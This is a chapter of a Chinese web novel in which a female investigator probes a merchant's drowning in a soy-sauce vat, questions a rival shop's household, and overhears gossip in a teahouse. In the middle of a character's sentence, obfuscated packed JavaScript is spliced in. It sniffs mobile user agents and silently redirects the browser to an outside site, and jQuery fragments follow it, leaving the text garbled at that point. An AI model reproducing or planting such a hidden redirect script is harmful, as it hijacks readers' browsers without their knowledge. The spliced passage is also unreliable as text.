56.油缸藏尸案(四)

作品:《我靠系统苟成女帝(探案)

    陈家粮铺已将门拉拢上锁,沈清沉原想找陈家的人了解些逝者的生平,如今看来是做不到了。了解死者,是调查人物关系的先决条件。不知逝者生平,又谈何梳理人物关系呢。一筹莫展之际,沈清沉身旁走过一位妇人,直冲冲地进入了对面的杨家粮铺。不一会儿,杨掌柜的儿媳便提了桶酱油从后院走出。那酱油晃荡,几近要洒出地面,可她仍旧笑意吟吟,朝那妇人颔首。


    沈清沉顺着那妇人望去,见那杨掌柜儿媳手里握着银两,喜滋滋地掂量。只不过是一桩寻常买卖,何至于让她喜上眉梢?喜从何来...?


    只一瞬,沈清沉便似乎意识到了什么,回头望向身后大门紧闭的陈家干粮铺。


    这固城并不算大,可依照沈清沉的观察,似乎最方便的粮铺便是这两家。这两家所处的地段优越,离百姓住所近,自然也愿意少走几步,来到这两家粮铺。倒说米铺是不止这两家,可粮铺向来不只卖米面,也卖些粮油杂货云云。这粮油并不稀奇,若是只多走几步,也能找着专门卖粮油的铺面。可这两家屹立在这百年,全赖其各自拥有的独特酱油配方。沈清沉暗自揣测,既然死者是被倒挂压入酱油缸中致死的,或许那凶手当真是杨家的人。只是是否为杨家的掌柜,这事儿还有待定夺。


    沈清沉走入杨家粮铺,只几步便到了头,这时她才觉得奇怪。两家粮铺虽面对而立,可陈家粮铺似乎比杨家要大的多。光是这纵深,似乎就是杨家的几倍。按这么说,这杨家还能做到跟陈家平分秋色,倒也算一种本事。与陈家不同的是,这杨家的因为想省个把工钱,并没有多请个帮工伙计云云,而是直接教会自家奴仆如何吆喝着卖货,如何介绍米面。杨家的铺面小,人却格外的多,自也显得热闹些。


    “爹爹,我能跟长公子玩吗?”一个孩提手里握着风车,径直跑入杨家粮铺。可他嘴里喊的爹爹,却不是杨掌柜的儿子杨智,而是杨家的奴仆穆云。那孩提约摸着只到穆云的膝盖,依旧用手拉扯着穆云的长衫,“好嘛好嘛?我想跟长公子玩。”穆云的脸色看上去并不算和蔼,而是有些为难。他不好意思地朝杨智望去,杨智却反而蹲下,伸手抚摸他的脑袋,“好,好。去吧。”


    “公子...”穆云朝杨智颔首,杨智却只轻拍两下他的肩膀,“行了,接着做工吧。孩子要玩就玩去罢。”


    沈清沉疑惑地打量着两人,那杨智待穆云的孩子就像亲生的,不说旁人也定没想到那孩子的父亲不是杨智。两人是主仆的关系,居然可以容忍两孩子作玩伴,实在奇怪。这时代的主人家,不说凶神恶煞,哪怕是个别心慈的主儿,多少也有些个等级森严的意味。主人家是绝对不可能允许奴仆逾矩的,更不允许奴仆与主人家以兄弟相称。比起两人当真关系好,沈清沉觉着那杨智淫人妻女的可能性反而更大。毕竟她是从来不信,男人会不为利益莫名其妙地对另一个人好的。


    “敢问穆云在杨家做工多少年了?”她忍不住开口问。


    那穆云并不是个外向的主儿,他只支支吾吾半晌没说出话来,反倒是身边的杨智替他开了口:“他打小便在咱家做工了,若说甚么时候起,或许是他在娘胎里便是咱杨家的人。”


    穆云知道杨智那是打趣,可依旧是羞答答的。


    沈清沉疑惑地看向两人,打娘胎起就是杨家的人...?狗血剧情在沈清沉脑海中缓缓上演,挥之不去。


    “穆云不敢高攀...”他依旧将头低垂,没敢抬头看杨智,“若不是杨家收留咱爹,又给穆云吃食,还供穆云上私塾,穆云哪有今天这般风光。”正如他说的,他的穿着若是不说,没有人会发现他是这个杨家的奴仆。他穿的虽然是朴素的长衫,可身上干净,手指更无一般奴仆那样纵横的老茧。若是不说,当真会以为他只是个寻常人家的公子哥。


    沈清沉一边诧异,这两奴仆竟关系这般好,倒也算得上世交;一边则是疑惑,这杨家和睦,无论是谁,看上去也没有非得杀了陈掌柜的理由。难道杀害陈掌柜并非是蓄意谋杀,而是意外...?


    沈清沉一时摸不着头脑,两家人之间的瓜葛若是直接问,指定是行不通的。


    “咕噜”,沈清沉肚子不懂事地鸣着。她伸手抚自己的小腹,无奈地朝门外走去。


    “…有身孕就不要再折腾了。”一把熟悉的声音在耳边响起,她抬眸,却见张之儒别过了脸,不愿与她对视。


    “…”她一时失语,本张嘴想解释些什么,却又忽而计上心头,“嗯。”她痴痴应下,又问:“陪本…本小姐吃些甚么。”


    “…”见他没有回应,沈清沉便当他答应了,直冲冲地走向街尾的茶楼。


    店小二弓着身子,用来擦桌子的毛巾被随意地搭在肩上,手里提着铜质的茶壶,壶身略微凹陷。她笑意盈盈,见了沈清沉便热情地接待,“客官几位?”


    “一位。”她是故意这么说的。


    “公子…”


    “…两位。”听到他说两位,沈清沉便也知晓,他哪里是放下她了。他倘若真有话语那般绝情,也不会巴巴地跟在她身后,似个掉靴鬼。


    掉靴鬼,便是那种喜爱跟在人后头的小鬼,前头的人要是回头瞥,他就会赶忙别过脸挪开视线。


    沈清沉寻了张靠窗的桌子,那风将卷帘轻轻吹起,令人心旷神怡。张之儒见她背靠窗檐,便别过脸坐在她的对面,用茶杯掩住自己的尴尬。


    他本不想来的,只是见她抚着小腹,又恍然想起许段笙,心里一沉。他觉得十分不自在,像有千万只毛虫在他身上蠕动,绒毛反复挠动,难受极了。可他难道能放任她不管吗?要是出了意外…那他可如何是好?他不是那种像她一样铁石心肠的人。


    “你说陈掌柜死了…陈家粮铺可咋整。”隔壁桌是几个穿着朴素的男人,裤腿卷起,搂在了小腿肚上,看上去应当是做些脚夫之类的活。


    “那能咋整,陈掌柜不还有个女儿吗?”另一个男人搭嘴,嘴里的瓜子嗑了一把又一把。


    沈清沉竖着耳朵,身子往侧边挪了半分。这送上来的线索,哪有不要的道理?


    刚开始说话的男人砸吧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967364|154925||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    嘴,“陈掌柜的女儿…”男人倒吸一口凉气,“嘶,叫什么来着…?”


    一旁的沈清沉听得有些着急了,便捂着嘴背过脸去吆喝了声:“陈伶伶!”看旁桌的男人“噢噢”一声,点点头:“对对,陈伶伶。”


    线索是要自己争取的,沈清沉对此坚信不疑。对面的张之儒只举着杯淡淡抿茶,看着沈清沉宠溺地摇摇头。


    “陈伶伶,哎哟她那破辣劲儿可不是盖的!”旁桌的男人接着叨叨,沈清沉也暗暗点头,“据说那下人要不肯缺斤少两地称给客人,她回去都得罚例钱呢。”


    “不是吧…这么恶毒?”


    “可不是吗?不过要我说,那陈掌柜死也是活该。”沈清沉原觉着应没什么有用的线索,已经直起身来,手拿着筷子砸吧嘴,思索着吃些什么了。可这一说,她又瞬间来了兴致。


    “此话怎讲?”


    “那陈掌柜不满杨家也不是一天两天了,人杨家地道,买个米面时不时还会搭几匙油。虽不多,但也能用上个几天,人自也乐意去他那买呀。那陈掌柜就不乐意了,又是故意在杨家后院倒虫蛇,又是想勾结官差的。据说啊,那事也要成了,这不?这几天陈家不是安分了?”男人嘴里振振有词,听着却不像道听途说。做脚夫的,走遍大街小巷,消息可灵通着呢。


    “陈家是安分了,那杨家可就该乐意了。”坐在对面的男人附和着。


    “是呗!跟官家勾结,做官家供应,给的甜头多,官家也愿意配合陈家。那以后可还有杨家什么事?这不?杨家的人就动手给陈掌柜杀了呗。”说得喉咙有些发干,男人举起茶杯大口下肚。


    官家勾结商铺,这事儿沈清沉不是第一次见了。仗着自家商铺家大业大,有的是银两,与官家勾结肆意迫害同行,这样的事儿在砚国竟是个寻常事儿。


    “公子说这话,可有证据?”偷听归偷听,证实线索的来源也是很重要的。沈清沉上前拍了拍男人的肩,男人疑惑地抬眸看她,“你是谁?这…我们说话干你何事?”


    “…”沈清沉从腰间取了个大理寺令牌,那是许段笙仿照虞鸢令牌制的,“现在可关我事了?”


    男人们面面相觑,嘴里嗫嚅,半晌说不出话来,“说话!哑巴了?”沈清沉一拍桌子,就连桌上的茶杯也被震倒。男人相互打着眼色,竟一掀桌子,桌上的菜也被一并打翻。沈清沉虽意识到向后躲,却也被掉落在地崩坏的茶杯碎片割伤了脚背。


    “嘶…”她低头看着脚背上的伤口,红色如绢般的血液从中缓缓流出,“这家伙…”


    “怎么回事,不是说了叫你小心些吗?”张之儒先蹲下身子,从怀里取了帕子替她轻轻擦拭,“可还疼…?”


    “嗯…”她小声嘀咕,“我躲了…”


    “不是让你歇息了吗?”他言辞严厉,“还能走吗?”


    沈清沉摇摇头,抬眸看着他。


    “…上来吧。”他单膝跪着,将沈清沉背在身上。


    “还在生本宫气…?”她故意凑在他耳边,说罢轻咬他耳垂。